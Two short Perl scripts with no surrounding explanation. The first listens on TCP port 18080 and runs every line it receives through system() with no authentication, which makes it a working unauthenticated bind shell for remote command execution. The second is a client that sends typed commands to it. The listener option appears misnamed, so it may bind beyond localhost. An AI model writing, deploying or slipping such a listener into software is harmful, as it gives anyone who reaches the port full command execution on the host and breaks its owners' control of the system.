use IO::Socket;

$sock = IO::Socket::INET->new (
								Localhost => 'localhost',
								LocalPort => '18080',
								Proto => 'tcp',
								Listen => 1,
								
							
								);
die "cant do that: $!\n" unless $sock;

$new_sock = $sock->accept();
	while(<$new_sock>){
	$ex = $_;
	$response = system($ex);
	
	}
close($sock);

##</code><code>##

use IO::Socket;

$sock = IO::Socket::INET->new (
								PeerAddr => 'localhost',
								PeerPort => '18080',
								Proto => 'tcp',
										
							
								);

if($sock->connected){
print "Ex->";
while(chomp($in = <STDIN>)){
print $sock "$in\n";

}
}
close($sock);